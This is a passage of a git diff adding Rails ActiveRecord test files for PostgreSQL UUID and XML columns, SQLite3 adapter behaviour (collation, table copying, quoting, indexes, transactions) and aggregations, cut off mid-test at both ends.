+  setup do
+    connection.create_table("pg_uuids", id: false) do |t|
+      t.primary_key :id, :uuid, default: nil
+      t.string "name"
+    end
+  end
+
+  teardown do
+    drop_table "pg_uuids"
+  end
+
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_allows_default_override_via_nil
+      col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+                                    FROM pg_attribute a
+                                    LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+                                    WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
+      assert_nil col_desc["default"]
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_with_default_override_via_nil
+      schema = dump_table_schema "pg_uuids"
+      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: nil/, schema)
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration
+      @verbose_was = ActiveRecord::Migration.verbose
+      ActiveRecord::Migration.verbose = false
+
+      migration = Class.new(ActiveRecord::Migration[5.0]) do
+        def version; 101 end
+        def migrate(x)
+          create_table("pg_uuids_4", id: :uuid, default: nil)
+        end
+      end.new
+      ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+      schema = dump_table_schema "pg_uuids_4"
+      assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: nil/, schema)
+    ensure
+      drop_table "pg_uuids_4"
+      ActiveRecord::Migration.verbose = @verbose_was
+    end
+  end
+end
+
+class PostgresqlUUIDTestInverseOf < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlUUIDHelper
+
+  class UuidPost < ActiveRecord::Base
+    self.table_name = "pg_uuid_posts"
+    has_many :uuid_comments, inverse_of: :uuid_post
+  end
+
+  class UuidComment < ActiveRecord::Base
+    self.table_name = "pg_uuid_comments"
+    belongs_to :uuid_post
+  end
+
+  setup do
+    connection.transaction do
+      connection.create_table("pg_uuid_posts", id: :uuid, **uuid_default) do |t|
+        t.string "title"
+      end
+      connection.create_table("pg_uuid_comments", id: :uuid, **uuid_default) do |t|
+        t.references :uuid_post, type: :uuid
+        t.string "content"
+      end
+    end
+  end
+
+  teardown do
+    drop_table "pg_uuid_comments"
+    drop_table "pg_uuid_posts"
+  end
+
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_collection_association_with_uuid
+      post    = UuidPost.create!
+      comment = post.uuid_comments.create!
+      assert post.uuid_comments.find(comment.id)
+    end
+
+    def test_find_with_uuid
+      UuidPost.create!
+      assert_raise ActiveRecord::RecordNotFound do
+        UuidPost.find(123456)
+      end
+    end
+
+    def test_find_by_with_uuid
+      UuidPost.create!
+      assert_nil UuidPost.find_by(id: 789)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
new file mode 100644
index 0000000000..71ead6f7f3
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlXMLTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class XmlDataType < ActiveRecord::Base
+    self.table_name = "xml_data_type"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    begin
+      @connection.transaction do
+        @connection.create_table("xml_data_type") do |t|
+          t.xml "payload"
+        end
+      end
+    rescue ActiveRecord::StatementInvalid
+      skip "do not test on PG without xml"
+    end
+    @column = XmlDataType.columns_hash["payload"]
+  end
+
+  teardown do
+    @connection.drop_table "xml_data_type", if_exists: true
+  end
+
+  def test_column
+    assert_equal :xml, @column.type
+  end
+
+  def test_null_xml
+    @connection.execute "insert into xml_data_type (payload) VALUES(null)"
+    assert_nil XmlDataType.first.payload
+  end
+
+  def test_round_trip
+    data = XmlDataType.new(payload: "<foo>bar</foo>")
+    assert_equal "<foo>bar</foo>", data.payload
+    data.save!
+    assert_equal "<foo>bar</foo>", data.reload.payload
+  end
+
+  def test_update_all
+    data = XmlDataType.create!
+    XmlDataType.update_all(payload: "<bar>baz</bar>")
+    assert_equal "<bar>baz</bar>", data.reload.payload
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("xml_data_type")
+    assert_match %r{t\.xml "payload"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/collation_test.rb b/activerecord/test/cases/adapters/sqlite3/collation_test.rb
new file mode 100644
index 0000000000..76c8f7d8dd
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/collation_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class SQLite3CollationTest < ActiveRecord::SQLite3TestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :collation_table_sqlite3, force: true do |t|
+      t.string :string_nocase, collation: "NOCASE"
+      t.text :text_rtrim, collation: "RTRIM"
+    end
+  end
+
+  def teardown
+    @connection.drop_table :collation_table_sqlite3, if_exists: true
+  end
+
+  test "string column with collation" do
+    column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "string_nocase" }
+    assert_equal :string, column.type
+    assert_equal "NOCASE", column.collation
+  end
+
+  test "text column with collation" do
+    column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "text_rtrim" }
+    assert_equal :text, column.type
+    assert_equal "RTRIM", column.collation
+  end
+
+  test "add column with collation" do
+    @connection.add_column :collation_table_sqlite3, :title, :string, collation: "RTRIM"
+
+    column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "title" }
+    assert_equal :string, column.type
+    assert_equal "RTRIM", column.collation
+  end
+
+  test "change column with collation" do
+    @connection.add_column :collation_table_sqlite3, :description, :string
+    @connection.change_column :collation_table_sqlite3, :description, :text, collation: "RTRIM"
+
+    column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "description" }
+    assert_equal :text, column.type
+    assert_equal "RTRIM", column.collation
+  end
+
+  test "schema dump includes collation" do
+    output = dump_table_schema("collation_table_sqlite3")
+    assert_match %r{t\.string\s+"string_nocase",\s+collation: "NOCASE"$}, output
+    assert_match %r{t\.text\s+"text_rtrim",\s+collation: "RTRIM"$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
new file mode 100644
index 0000000000..ffb1d6afce
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class CopyTableTest < ActiveRecord::SQLite3TestCase
+  fixtures :customers
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    class << @connection
+      public :copy_table, :table_structure, :indexes
+    end
+  end
+
+  def test_copy_table(from = "customers", to = "customers2", options = {})
+    assert_nothing_raised { copy_table(from, to, options) }
+    assert_equal row_count(from), row_count(to)
+
+    if block_given?
+      yield from, to, options
+    else
+      assert_equal column_names(from), column_names(to)
+    end
+
+    @connection.drop_table(to) rescue nil
+  end
+
+  def test_copy_table_renaming_column
+    test_copy_table("customers", "customers2",
+        rename: { "name" => "person_name" }) do |from, to, options|
+      expected = column_values(from, "name")
+      assert_equal expected, column_values(to, "person_name")
+      assert expected.any?, "No values in table: #{expected.inspect}"
+    end
+  end
+
+  def test_copy_table_allows_to_pass_options_to_create_table
+    @connection.create_table("blocker_table")
+    test_copy_table("customers", "blocker_table", force: true)
+  end
+
+  def test_copy_table_with_index
+    test_copy_table("comments", "comments_with_index") do
+      @connection.add_index("comments_with_index", ["post_id", "type"])
+      test_copy_table("comments_with_index", "comments_with_index2") do
+        assert_nil table_indexes_without_name("comments_with_index")
+        assert_nil table_indexes_without_name("comments_with_index2")
+      end
+    end
+  end
+
+  def test_copy_table_without_primary_key
+    test_copy_table("developers_projects", "programmers_projects") do
+      assert_nil @connection.primary_key("programmers_projects")
+    end
+  end
+
+  def test_copy_table_with_id_col_that_is_not_primary_key
+    test_copy_table("goofy_string_id", "goofy_string_id2") do
+      original_id = @connection.columns("goofy_string_id").detect { |col| col.name == "id" }
+      copied_id = @connection.columns("goofy_string_id2").detect { |col| col.name == "id" }
+      assert_equal original_id.type, copied_id.type
+      assert_equal original_id.sql_type, copied_id.sql_type
+      assert_nil original_id.limit
+      assert_nil copied_id.limit
+    end
+  end
+
+  def test_copy_table_with_unconventional_primary_key
+    test_copy_table("owners", "owners_unconventional") do
+      original_pk = @connection.primary_key("owners")
+      copied_pk = @connection.primary_key("owners_unconventional")
+      assert_equal original_pk, copied_pk
+    end
+  end
+
+  def test_copy_table_with_binary_column
+    test_copy_table "binaries", "binaries2"
+  end
+
+private
+  def copy_table(from, to, options = {})
+    @connection.copy_table(from, to, { temporary: true }.merge(options))
+  end
+
+  def column_names(table)
+    @connection.table_structure(table).map { |column| column["name"] }
+  end
+
+  def column_values(table, column)
+    @connection.select_all("SELECT #{column} FROM #{table} ORDER BY id").map { |row| row[column] }
+  end
+
+  def table_indexes_without_name(table)
+    @connection.indexes(table).delete(:name)
+  end
+
+  def row_count(table)
+    @connection.select_one("SELECT COUNT(*) AS count FROM #{table}")["count"]
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
new file mode 100644
index 0000000000..3b081d34e1
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+
+class SQLite3ExplainTest < ActiveRecord::SQLite3TestCase
+  fixtures :developers
+
+  def test_explain_for_one_query
+    explain = Developer.where(id: 1).explain
+    assert_match %r(EXPLAIN for: SELECT "developers"\.\* FROM "developers" WHERE "developers"\."id" = (?:\? \[\["id", 1\]\]|1)), explain
+    assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+  end
+
+  def test_explain_with_eager_loading
+    explain = Developer.where(id: 1).includes(:audit_logs).explain
+    assert_match %r(EXPLAIN for: SELECT "developers"\.\* FROM "developers" WHERE "developers"\."id" = (?:\? \[\["id", 1\]\]|1)), explain
+    assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+    assert_match %r(EXPLAIN for: SELECT "audit_logs"\.\* FROM "audit_logs" WHERE "audit_logs"\."developer_id" = (?:\? \[\["developer_id", 1\]\]|1)), explain
+    assert_match(/(SCAN )?TABLE audit_logs/, explain)
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
new file mode 100644
index 0000000000..de422fad23
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "bigdecimal"
+require "securerandom"
+
+class SQLite3QuotingTest < ActiveRecord::SQLite3TestCase
+  def setup
+    @conn = ActiveRecord::Base.connection
+    @initial_represent_boolean_as_integer = ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer
+  end
+
+  def teardown
+    ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = @initial_represent_boolean_as_integer
+  end
+
+  def test_type_cast_binary_encoding_without_logger
+    @conn.extend(Module.new { def logger; end })
+    binary = SecureRandom.hex
+    expected = binary.dup.encode!(Encoding::UTF_8)
+    assert_equal expected, @conn.type_cast(binary)
+  end
+
+  def test_type_cast_true
+    ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = false
+    assert_equal "t", @conn.type_cast(true)
+
+    ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = true
+    assert_equal 1, @conn.type_cast(true)
+  end
+
+  def test_type_cast_false
+    ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = false
+    assert_equal "f", @conn.type_cast(false)
+
+    ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = true
+    assert_equal 0, @conn.type_cast(false)
+  end
+
+  def test_type_cast_bigdecimal
+    bd = BigDecimal.new "10.0"
+    assert_equal bd.to_f, @conn.type_cast(bd)
+  end
+
+  def test_quoting_binary_strings
+    value = "hello".encode("ascii-8bit")
+    type = ActiveRecord::Type::String.new
+
+    assert_equal "'hello'", @conn.quote(type.serialize(value))
+  end
+
+  def test_quoted_time_returns_date_qualified_time
+    value = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999)
+    type = ActiveRecord::Type::Time.new
+
+    assert_equal "'2000-01-01 12:30:00.999999'", @conn.quote(type.serialize(value))
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
new file mode 100644
index 0000000000..2b51a32db6
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -0,0 +1,421 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/owner"
+require "tempfile"
+require "support/ddl_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SQLite3AdapterTest < ActiveRecord::SQLite3TestCase
+      include DdlHelper
+
+      self.use_transactional_tests = false
+
+      class DualEncoding < ActiveRecord::Base
+      end
+
+      def setup
+        @conn = Base.sqlite3_connection database: ":memory:",
+                                        adapter: "sqlite3",
+                                        timeout: 100
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+          connection.drop_table "ex", if_exists: true
+        end
+      end
+
+      unless in_memory_db?
+        def test_connect_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          tf = Tempfile.open "whatever"
+          url = "sqlite3:#{tf.path}"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          tf.close
+          tf.unlink
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
+
+        def test_connect_memory_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          url = "sqlite3::memory:"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
+      end
+
+      def test_column_types
+        owner = Owner.create!(name: "hello".encode("ascii-8bit"))
+        owner.reload
+        select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ", "
+        result = Owner.connection.exec_query <<-esql
+          SELECT #{select}
+          FROM   #{Owner.table_name}
+          WHERE  #{Owner.primary_key} = #{owner.id}
+        esql
+
+        assert(!result.rows.first.include?("blob"), "should not store blobs")
+      ensure
+        owner.delete
+      end
+
+      def test_exec_insert
+        with_example_table do
+          vals = [Relation::QueryAttribute.new("number", 10, Type::Value.new)]
+          @conn.exec_insert("insert into ex (number) VALUES (?)", "SQL", vals)
+
+          result = @conn.exec_query(
+            "select number from ex where number = ?", "SQL", vals)
+
+          assert_equal 1, result.rows.length
+          assert_equal 10, result.rows.first.first
+        end
+      end
+
+      def test_primary_key_returns_nil_for_no_pk
+        with_example_table "id int, data string" do
+          assert_nil @conn.primary_key("ex")
+        end
+      end
+
+      def test_connection_no_db
+        assert_raises(ArgumentError) do
+          Base.sqlite3_connection {}
+        end
+      end
+
+      def test_bad_timeout
+        assert_raises(TypeError) do
+          Base.sqlite3_connection database: ":memory:",
+                                  adapter: "sqlite3",
+                                  timeout: "usa"
+        end
+      end
+
+      # connection is OK with a nil timeout
+      def test_nil_timeout
+        conn = Base.sqlite3_connection database: ":memory:",
+                                       adapter: "sqlite3",
+                                       timeout: nil
+        assert conn, "made a connection"
+      end
+
+      def test_connect
+        assert @conn, "should have connection"
+      end
+
+      # sqlite3 defaults to UTF-8 encoding
+      def test_encoding
+        assert_equal "UTF-8", @conn.encoding
+      end
+
+      def test_exec_no_binds
+        with_example_table "id int, data string" do
+          result = @conn.exec_query("SELECT id, data FROM ex")
+          assert_equal 0, result.rows.length
+          assert_equal 2, result.columns.length
+          assert_equal %w{ id data }, result.columns
+
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          result = @conn.exec_query("SELECT id, data FROM ex")
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [[1, "foo"]], result.rows
+        end
+      end
+
+      def test_exec_query_with_binds
+        with_example_table "id int, data string" do
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          result = @conn.exec_query(
+            "SELECT id, data FROM ex WHERE id = ?", nil, [Relation::QueryAttribute.new(nil, 1, Type::Value.new)])
+
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [[1, "foo"]], result.rows
+        end
+      end
+
+      def test_exec_query_typecasts_bind_vals
+        with_example_table "id int, data string" do
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+
+          result = @conn.exec_query(
+            "SELECT id, data FROM ex WHERE id = ?", nil, [Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)])
+
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [[1, "foo"]], result.rows
+        end
+      end
+
+      def test_quote_binary_column_escapes_it
+        DualEncoding.connection.execute(<<-eosql)
+          CREATE TABLE IF NOT EXISTS dual_encodings (
+            id integer PRIMARY KEY AUTOINCREMENT,
+            name varchar(255),
+            data binary
+          )
+        eosql
+        str = "\x80".dup.force_encoding("ASCII-8BIT")
+        binary = DualEncoding.new name: "いただきます！", data: str
+        binary.save!
+        assert_equal str, binary.data
+      ensure
+        DualEncoding.connection.drop_table "dual_encodings", if_exists: true
+      end
+
+      def test_type_cast_should_not_mutate_encoding
+        name = "hello".dup.force_encoding(Encoding::ASCII_8BIT)
+        Owner.create(name: name)
+        assert_equal Encoding::ASCII_8BIT, name.encoding
+      ensure
+        Owner.delete_all
+      end
+
+      def test_execute
+        with_example_table do
+          @conn.execute "INSERT INTO ex (number) VALUES (10)"
+          records = @conn.execute "SELECT * FROM ex"
+          assert_equal 1, records.length
+
+          record = records.first
+          assert_equal 10, record["number"]
+          assert_equal 1, record["id"]
+        end
+      end
+
+      def test_quote_string
+        assert_equal "''", @conn.quote_string("'")
+      end
+
+      def test_insert_logged
+        with_example_table do
+          sql = "INSERT INTO ex (number) VALUES (10)"
+          name = "foo"
+          assert_logged [[sql, name, []]] do
+            @conn.insert(sql, name)
+          end
+        end
+      end
+
+      def test_insert_id_value_returned
+        with_example_table do
+          sql = "INSERT INTO ex (number) VALUES (10)"
+          idval = "vuvuzela"
+          id = @conn.insert(sql, nil, nil, idval)
+          assert_equal idval, id
+        end
+      end
+
+      def test_select_rows
+        with_example_table do
+          2.times do |i|
+            @conn.create "INSERT INTO ex (number) VALUES (#{i})"
+          end
+          rows = @conn.select_rows "select number, id from ex"
+          assert_equal [[0, 1], [1, 2]], rows
+        end
+      end
+
+      def test_select_rows_logged
+        with_example_table do
+          sql = "select * from ex"
+          name = "foo"
+          assert_logged [[sql, name, []]] do
+            @conn.select_rows sql, name
+          end
+        end
+      end
+
+      def test_transaction
+        with_example_table do
+          count_sql = "select count(*) from ex"
+
+          @conn.begin_db_transaction
+          @conn.create "INSERT INTO ex (number) VALUES (10)"
+
+          assert_equal 1, @conn.select_rows(count_sql).first.first
+          @conn.rollback_db_transaction
+          assert_equal 0, @conn.select_rows(count_sql).first.first
+        end
+      end
+
+      def test_tables
+        with_example_table do
+          assert_equal %w{ ex }, @conn.tables
+          with_example_table "id integer PRIMARY KEY AUTOINCREMENT, number integer", "people" do
+            assert_equal %w{ ex people }.sort, @conn.tables.sort
+          end
+        end
+      end
+
+      def test_tables_logs_name
+        sql = <<-SQL
+          SELECT name FROM sqlite_master WHERE name <> 'sqlite_sequence' AND type IN ('table')
+        SQL
+        assert_logged [[sql.squish, "SCHEMA", []]] do
+          @conn.tables
+        end
+      end
+
+      def test_indexes_logs_name
+        with_example_table do
+          assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
+            assert_deprecated { @conn.indexes("ex", "hello") }
+          end
+        end
+      end
+
+      def test_table_exists_logs_name
+        with_example_table do
+          sql = <<-SQL
+            SELECT name FROM sqlite_master WHERE name <> 'sqlite_sequence' AND name = 'ex' AND type IN ('table')
+          SQL
+          assert_logged [[sql.squish, "SCHEMA", []]] do
+            assert @conn.table_exists?("ex")
+          end
+        end
+      end
+
+      def test_columns
+        with_example_table do
+          columns = @conn.columns("ex").sort_by(&:name)
+          assert_equal 2, columns.length
+          assert_equal %w{ id number }.sort, columns.map(&:name)
+          assert_equal [nil, nil], columns.map(&:default)
+          assert_equal [true, true], columns.map(&:null)
+        end
+      end
+
+      def test_columns_with_default
+        with_example_table "id integer PRIMARY KEY AUTOINCREMENT, number integer default 10" do
+          column = @conn.columns("ex").find { |x|
+            x.name == "number"
+          }
+          assert_equal "10", column.default
+        end
+      end
+
+      def test_columns_with_not_null
+        with_example_table "id integer PRIMARY KEY AUTOINCREMENT, number integer not null" do
+          column = @conn.columns("ex").find { |x| x.name == "number" }
+          assert_not column.null, "column should not be null"
+        end
+      end
+
+      def test_indexes_logs
+        with_example_table do
+          assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
+            @conn.indexes("ex")
+          end
+        end
+      end
+
+      def test_no_indexes
+        assert_equal [], @conn.indexes("items")
+      end
+
+      def test_index
+        with_example_table do
+          @conn.add_index "ex", "id", unique: true, name: "fun"
+          index = @conn.indexes("ex").find { |idx| idx.name == "fun" }
+
+          assert_equal "ex", index.table
+          assert index.unique, "index is unique"
+          assert_equal ["id"], index.columns
+        end
+      end
+
+      def test_non_unique_index
+        with_example_table do
+          @conn.add_index "ex", "id", name: "fun"
+          index = @conn.indexes("ex").find { |idx| idx.name == "fun" }
+          assert_not index.unique, "index is not unique"
+        end
+      end
+
+      def test_compound_index
+        with_example_table do
+          @conn.add_index "ex", %w{ id number }, name: "fun"
+          index = @conn.indexes("ex").find { |idx| idx.name == "fun" }
+          assert_equal %w{ id number }.sort, index.columns.sort
+        end
+      end
+
+      def test_primary_key
+        with_example_table do
+          assert_equal "id", @conn.primary_key("ex")
+          with_example_table "internet integer PRIMARY KEY AUTOINCREMENT, number integer not null", "foos" do
+            assert_equal "internet", @conn.primary_key("foos")
+          end
+        end
+      end
+
+      def test_no_primary_key
+        with_example_table "number integer not null" do
+          assert_nil @conn.primary_key("ex")
+        end
+      end
+
+      def test_supports_extensions
+        assert_not @conn.supports_extensions?, "does not support extensions"
+      end
+
+      def test_respond_to_enable_extension
+        assert @conn.respond_to?(:enable_extension)
+      end
+
+      def test_respond_to_disable_extension
+        assert @conn.respond_to?(:disable_extension)
+      end
+
+      def test_statement_closed
+        db = ::SQLite3::Database.new(ActiveRecord::Base.
+                                   configurations["arunit"]["database"])
+        statement = ::SQLite3::Statement.new(db,
+                                           "CREATE TABLE statement_test (number integer not null)")
+        statement.stub(:step, -> { raise ::SQLite3::BusyException.new("busy") }) do
+          assert_called(statement, :columns, returns: []) do
+            assert_called(statement, :close) do
+              ::SQLite3::Statement.stub(:new, statement) do
+                assert_raises ActiveRecord::StatementInvalid do
+                  @conn.exec_query "select * from statement_test"
+                end
+              end
+            end
+          end
+        end
+      end
+
+      private
+
+        def assert_logged(logs)
+          subscriber = SQLSubscriber.new
+          subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+          yield
+          assert_equal logs, subscriber.logged
+        ensure
+          ActiveSupport::Notifications.unsubscribe(subscription)
+        end
+
+        def with_example_table(definition = nil, table_name = "ex", &block)
+          definition ||= <<-SQL
+            id integer PRIMARY KEY AUTOINCREMENT,
+            number integer
+          SQL
+          super(@conn, table_name, definition, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
new file mode 100644
index 0000000000..d70486605f
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/owner"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SQLite3CreateFolder < ActiveRecord::SQLite3TestCase
+      def test_sqlite_creates_directory
+        Dir.mktmpdir do |dir|
+          begin
+            dir = Pathname.new(dir)
+            @conn = Base.sqlite3_connection database: dir.join("db/foo.sqlite3"),
+                                 adapter: "sqlite3",
+                                 timeout: 100
+
+            assert Dir.exist? dir.join("db")
+            assert File.exist? dir.join("db/foo.sqlite3")
+          ensure
+            @conn.disconnect! if @conn
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
new file mode 100644
index 0000000000..42b3841d41
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SQLite3StatementPoolTest < ActiveRecord::SQLite3TestCase
+  if Process.respond_to?(:fork)
+    def test_cache_is_per_pid
+      cache = ActiveRecord::ConnectionAdapters::SQLite3Adapter::StatementPool.new(10)
+      cache["foo"] = "bar"
+      assert_equal "bar", cache["foo"]
+
+      pid = fork {
+        lookup = cache["foo"];
+        exit!(!lookup)
+      }
+
+      Process.waitpid pid
+      assert $?.success?, "process should exit successfully"
+    end
+  end
+end
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
new file mode 100644
index 0000000000..7f654ec6f6
--- /dev/null
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -0,0 +1,170 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/customer"
+
+class AggregationsTest < ActiveRecord::TestCase
+  fixtures :customers
+
+  def test_find_single_value_object
+    assert_equal 50, customers(:david).balance.amount
+    assert_kind_of Money, customers(:david).balance
+    assert_equal 300, customers(:david).balance.exchange_to("DKK").amount
+  end
+
+  def test_find_multiple_value_object
+    assert_equal customers(:david).address_street, customers(:david).address.street
+    assert(
+      customers(:david).address.close_to?(Address.new("Different Street", customers(:david).address_city, customers(:david).address_country))
+    )
+  end
+
+  def test_change_single_value_object
+    customers(:david).balance = Money.new(100)
+    customers(:david).save
+    assert_equal 100, customers(:david).reload.balance.amount
+  end
+
+  def test_immutable_value_objects
+    customers(:david).balance = Money.new(100)
+    assert_raise(RuntimeError) { customers(:david).balance.instance_eval { @amount = 20 } }
+  end
+
+  def test_inferred_mapping
+    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+    customers(:david).gps_location = GpsLocation.new("39x-110")
+
+    assert_equal "39", customers(:david).gps_location.latitude
+    assert_equal "-110", customers(:david).gps_location.longitude
+
+    customers(:david).save
+
+    customers(:david).reload
+
+    assert_equal "39", customers(:david).gps_location.latitude
+    assert_equal "-110", customers(:david).gps_location.longitude
+  end
+
+  def test_reloaded_instance_refreshes_aggregations
+    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+    Customer.update_all("gps_location = '24x113'")
+    customers(:david).reload
+    assert_equal "24x113", customers(:david)["gps_location"]
+
+    assert_equal GpsLocation.new("24x113"), customers(:david).gps_location
+  end
+
+  def test_gps_equality
+    assert_equal GpsLocation.new("39x110"), GpsLocation.new("39x110")
+  end
+
+  def test_gps_inequality
+    assert_not_equal GpsLocation.new("39x110"), GpsLocation.new("39x111")
+  end
+
+  def test_allow_nil_gps_is_nil
+    assert_nil customers(:zaphod).gps_location
+  end
+
+  def test_allow_nil_gps_set_to_nil
+    customers(:david).gps_location = nil
+    customers(:david).save
+    customers(:david).reload
+    assert_nil customers(:david).gps_location
+  end
+
+  def test_allow_nil_set_address_attributes_to_nil
+    customers(:zaphod).address = nil
+    assert_nil customers(:zaphod).attributes[:address_street]
+    assert_nil customers(:zaphod).attributes[:address_city]
+    assert_nil customers(:zaphod).attributes[:address_country]
+  end
+
+  def test_allow_nil_address_set_to_nil
+    customers(:zaphod).address = nil
+    customers(:zaphod).save
+    customers(:zaphod).reload
+    assert_nil customers(:zaphod).address
+  end
+
+  def test_nil_raises_error_when_allow_nil_is_false
+    assert_raise(NoMethodError) { customers(:david).balance = nil }
+  end
+
+  def test_allow_nil_address_loaded_when_only_some_attributes_are_nil
+    customers(:zaphod).address_street = nil
+    customers(:zaphod).save
+    customers(:zaphod).reload
+    assert_kind_of Address, customers(:zaphod).address
+    assert_nil customers(:zaphod).address.street
+  end
+
+  def test_nil_assignment_results_in_nil
+    customers(:david).gps_location = GpsLocation.new("39x111")
+    assert_not_nil customers(:david).gps_location
+    customers(:david).gps_location = nil
+    assert_nil customers(:david).gps_location
+  end
+
+  def test_nil_return_from_converter_is_respected_when_allow_nil_is_true
+    customers(:david).non_blank_gps_location = ""
+    customers(:david).save
+    customers(:david).reload
+    assert_nil customers(:david).non_blank_gps_location
+  ensure
+    Customer.gps_conversion_was_run = nil
+  end
+
+  def test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false
+    assert_raises(NoMethodError) do
+      customers(:barney).gps_location = ""
+    end
+  end
+
+  def test_do_not_run_the_converter_when_nil_was_set
+    customers(:david).non_blank_gps_location = nil
+    assert_nil Customer.gps_conversion_was_run
+  end
+
+  def test_custom_constructor
+    assert_equal "Barney GUMBLE", customers(:barney).fullname.to_s
